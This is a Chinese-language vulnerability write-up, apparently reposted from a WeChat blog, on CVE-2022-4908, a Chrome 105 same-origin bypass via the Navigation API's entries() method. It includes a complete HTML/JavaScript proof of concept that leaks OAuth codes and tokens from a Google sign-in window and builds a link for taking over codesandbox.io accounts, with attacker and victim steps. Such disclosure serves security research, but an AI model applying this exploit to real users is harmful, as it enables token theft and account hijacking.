这漏洞导致另一个窗口导航所有历史URL记录泄露,这些老版本的chrome漏洞总是会有利用空间的,CVE-2022-4908,这个漏洞原发现者最近公开了漏洞细节,整理下这个漏洞的所有情况。漏洞具体描述和版本参考google官方issues的留言(发现者因为漏洞等级与官方拉扯了挺久,结果也没变哈哈哈哈):
https://bugs.chromium.org/p/chromium/issues/detail?id=1359122
vuldb对这个漏洞的评价如下,是今年7月底公开,上周公开了漏洞细节:
详细见漏洞发现者原博文:https://joaxcar.com/blog/2023/10/06/cve-2022-4908-sop-bypass-in-chrome-using-navigation-api/
漏洞详情:
这漏洞本质是劫持后url访问历史记录泄露,漏洞是从@garethheyes的https://portswigger.net/research/using-hackability-to-uncover-a-chrome-infoleak文章得来的灵感(特别推荐看下),发现另一种类似方式能实现绕过Chrome同源策略的情况。
漏洞利用的是Chrome新版的导航api,具体为其中较少被提及的功能navigation.entries() (https://developer.mozilla.org/en-US/docs/Web/API/Navigation/entries)方法绕过同源策略(SOP)。此方法允许开发人员访问当前窗口会话的历史url列表,导航 API 仅公开在当前浏览上下文中创建的与当前页面具有相同来源的历史记录条目。
对漏洞的进一步测试表明,该漏洞仅在子域“劫持”同一顶级域(或顶级域本身)下的窗口或框架时发生。原issues里相关讨论是这样的
NavigationApi通常从浏览器进程获取entries()来进行跨文档导航,但是当导航到about:blank时,我们从之前的NavigationApi对象复制(因为浏览器进程不参与about:blank导航)。在实现该复制逻辑时,我没有考虑跨源 -> about:blank 情况。
正如 creis@ 所指出的,站点隔离可以防御这种泄漏的最严重变体(启用站点隔离后,只有跨源且同一站点才会泄漏;如果没有启用站点隔离,跨站点也会泄漏)。这是因为跨站点情况在启用站点隔离的情况下导航到 about:blank 时会交换进程,这使我们能够在浏览器进程中使用正确的逻辑。
这一限制(仅影响同一站点域)前面也提到了,这个漏洞仍然有很大的价值:
-
攻击可以针对任何窗口,不需要使目标一定要在"框"内。
-
目标窗口内不需要 iframe,因为如果需要,我们可以直接重定向目标窗口本身。
-
攻击者可以泄露完整的历史url列表,从而泄露多个导航中的 URL,而不仅仅是当前位置。
-
如果网站依赖于导航状态,则该泄露状态也会持续泄露。
漏洞利用:
发现版本 Chrome v.105.0.5195.52
原始攻击流程:
-
攻击者创建一个页面,该页面将目标(同一站点)跨源页面构建在 iframe 中。或者,攻击者页面将目标页面添加为将在新窗口中打开的链接。第二种方法虽然需要用户交互,但适用于不可构建框架的页面。
-
攻击者页面使用对新窗口对象的引用,并使用target.location=“about:blank”将窗口导航到about:blank"
-
点击攻击者页面访问目标窗口的文档,会执行
target.navigation.entries()
以访问目标窗口的完整 URL。 -
然后攻击窗口可以用
target.history.back()
恢复目标窗口为正常状态。因此,该攻击可以用作持续性历史记录的记录器。如果受害者用户在目标页面上导航,则攻击者可以收集所有访问过的 URL。
大概效果如下,(使用iframe和使用的about:blank空白页效果对比):
真实OAuth利用的exp攻击流程:
渗透中这个漏洞限制需要访问目标域的子域(或同级域)。但这个限制其实不算大。经常挖洞的人都知道,在随机子域上发现 XSS 是很常见的,而且还有大量的子域接管可用于相同目的,比如某子域xss导致客户端用户好友列表泄露这类情况,将任何子域劫持升级为针对主站点的有针对性的攻击。
这个案例也是利用此漏洞,把有限制的url泄露变成账户接管。思路是这样的,通过在某站点“页面”(类似gitlab托管用户内容类的网站)上托管攻击负载来接管其他“页面用户”会话,从而创建一个合适的 POC 合法页面。OAuth 流程也可以在这些页面上中断劫持。
攻击流程是针对codesandbox.io站点测试攻击,该站点允许任何用户在 https://mytestapp.codesandbox.io 下创建直接访问的示例代码项目,并且 Codesandbox 允许使用 GitHub、Google 或 Apple 进行 OAuth 身份验证。
流程:
攻击者部分(自动化):
-
在codesandbox.io上创建一个HTML的EXP沙箱
<!DOCTYPE html>
<html>
<head> </head>
<body>
<div id="start"></div>
<script>
function run(flow) {
var win = open(
`https://accounts.google.com/o/oauth2/v2/auth/identifier?client_id=267669956141-f6kd1f8k228hh186imh1j7gbopgi4ln3.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fcodesandbox.io%2Fauth%2Fgoogle%2Fcallback&response_type=${flow}&scope=email%20profile&state=${state}&service=lso&o2v=2&flowName=GeneralOAuthFlow`
);
setTimeout(() => {
win.location = "about:blank";
setTimeout(() => {
const leak = new URL(win.navigation.entries()[0].url);
const parsedHash = new URLSearchParams(leak.hash.substring(1));
const id_token = parsedHash.get("id_token");
const token = parsedHash.get("access_token");
const code = parsedHash.get("code");
const state = url.searchParams.get("state");
const attackerLink = `https://codesandbox.io/auth/google/callback?state=${state}&code=${code}&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none`;
document.write(attackerLink);
}, 2000);
}, 2000);
}
const entry = document.getElementById("start");
const url = new URL(location.href);
const state = url.searchParams.get("state");
entry.innerHTML = `<button onclick="run('code+id_token&nonce=hej')">
Get code and id_token
</button>
<br/>
<button onclick="run('token')">
Get Google API token
</button>`;
</script>
</body>
</html>
2. 转到https://codesandbox.io/auth/google并从 OAuth 链接复制状态参数,而无需实际登录。
3. 将成品链接发送给受害者,这是我的攻击者 POC 中的链接的样子https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC
受害者部分:
1. 正常访问https://codesandbox.io/signin,使用 Google OAuth 创建帐户,然后正常登录。
2. 访问攻击者的链接https://joaxcar-poc-3t059v.codesandbox.io/?state=ABC
3. 为了效果好看,页面加载时会有两个按钮,一个显示会泄露code和id_token,另一个显示会泄露Google API access_token
4.点击按钮会打开一个新窗口,攻击需要4秒。
攻击结果:
结果会劫持到如下链接:
https://codesandbox.io/auth/google/callback?state=STATE&code=CODE&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=none
获取此链接并在攻击者的浏览器中打开它。攻击者现在将以受害者用户的身份登录codesandbox.io。
该 EXP 包括一些可以轻松被自动化取代的手动步骤。可以通过安装旧版本的 Chrome 并按照上面步骤进行操作来自行测试(Chrome v.105)。
测试视频如下:
原文始发于微信公众号(军机故阁):CVE-2022-4908 绕过chrome同源策略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论